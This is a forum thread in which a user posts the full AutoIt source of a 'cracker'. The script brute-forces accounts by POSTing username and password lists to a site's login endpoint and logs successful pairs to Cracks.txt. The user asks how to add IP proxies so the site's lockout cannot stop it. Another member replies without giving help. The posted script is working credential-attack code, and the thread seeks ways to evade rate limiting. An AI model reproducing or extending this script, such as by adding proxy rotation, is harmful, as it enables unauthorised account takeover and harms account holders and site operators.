Jump to content
Sign in to follow this  
appie9294

Error With My Scirpt Please Read!

Recommended Posts

appie9294

Hi when I Have This Program But I Want To Fix It with Ip Proxies If that Works...

And This Source Is Proxieless so when i run it and the websit blocks it u have to wait 6 mins.

anyone can help me?

Here Is The Source With the Problem Its A Cracker And I Want To Make It With IpProxies Anyone Help?

Source:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****

#AutoIt3Wrapper_icon=orbz-air.ico

#AutoIt3Wrapper_UseAnsi=y

#AutoIt3Wrapper_Compression=4

#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

#include <Array.au3>

#include <File.au3>

#include <INet.au3>

$oShell = ObjCreate("shell.application")

$num = $CmdLine[1]

Global $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

Local $usernames, $passwords, $proxies

_FileReadToArray(@ScriptDir & "/tempdir/usernames" & $num & ".txt", $usernames)

_FileReadToArray(@ScriptDir & "/passwords.txt", $passwords)

_ArrayDelete($usernames, 0)

_ArrayDelete($passwords, 0)

Print("Thread " & $num & " has started.")

Local $cUser = 0, $cPass = 0, $error = 0

While 1

If ProcessExists("Cracker.exe") = 0 Then

Exit

EndIf

If UBound($passwords) = $cPass Then

$cPass = 0

$cUser += 1

If UBound($usernames) = $cUser Then

ExitLoop

EndIf

EndIf

Switch CrackAccount($usernames[$cUser], $passwords[$cPass])

Case -1

Print("#" & $num & " An Unknown Error Occurred")

$Error += 1

If $error = 5 Then

Refresh()

$error = 0

EndIf

Case 0

Print("#" & $num & " Invalid - "&$usernames[$cUser]&":"&$passwords[$cPass])

$cPass += 1

Case 1

Print("#" & $num & " Crack - "&$usernames[$cUser]&":"&$passwords[$cPass])

FileWriteLine(@ScriptDir & "/Cracks.txt",$usernames[$cUser]&":"&$passwords[$cPass])

Refresh()

$cPass = 0

$cUser += 1

EndSwitch

WEnd

Print("Thread " & $num & " has finished cracking.")

Func CrackAccount($vUser, $vPass)

$source = _HTTPRequest($oHTTP, "POST", "https://XXX.XXX.XXX/login.ws", "username=" & $vUser & "&password=" & $vPass )

Select

Case StringInStr($source, "Invalid")

Return 0

Case StringInStr($source, "successful")

Return 1

Case Else

Return -1

EndSelect

EndFunc

Func Print($oData)

ConsoleWrite($oData & @CRLF)

EndFunc ;==>Print

Func _HTTPRequest($Wnd, $oMethod, $oURL, $oData = "")

$Wnd.Open($oMethod, $oURL, False)

If $oMethod = "POST" Then $Wnd.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")

$Wnd.Send($oData)

Return $Wnd.ResponseText

EndFunc

Func Refresh()

$oShell = ObjCreate("shell.application")

$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

EndFunc

end Source

i am very new to this and i dont know how to fix it so it uses proxies...

so if anyone know's how to fix it please tell meh :)

AttachMents:

Cracker.au3

CrackThread.au3

Share this post


Link to post
Share on other sites
UFWU

you wrote that code then below it you write im new to this well i have no clue what that was ment to do but im not testing hope someone can help u but u might need to add more to the description of this problem.

Share this post


Link to post
Share on other sites
appie9294

you wrote that code then below it you write im new to this well i have no clue what that was ment to do but im not testing hope someone can help u but u might need to add more to the description of this problem.

i did i want help with proxies and its a proxyless cracker so..

i think that is enough information :)

Edited by appie9294

Share this post


Link to post
Share on other sites
UFWU

i did i want help with proxies and its a proxyless cracker so..

i think that is enough information :)

lol ok i don't no enough about proxies let alone proxy script but i'm sure some1 on this forum does, uber l337 users should check the most recent topics and help:P

Share this post


Link to post
Share on other sites
appie9294

BUMP

Edited by appie9294

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×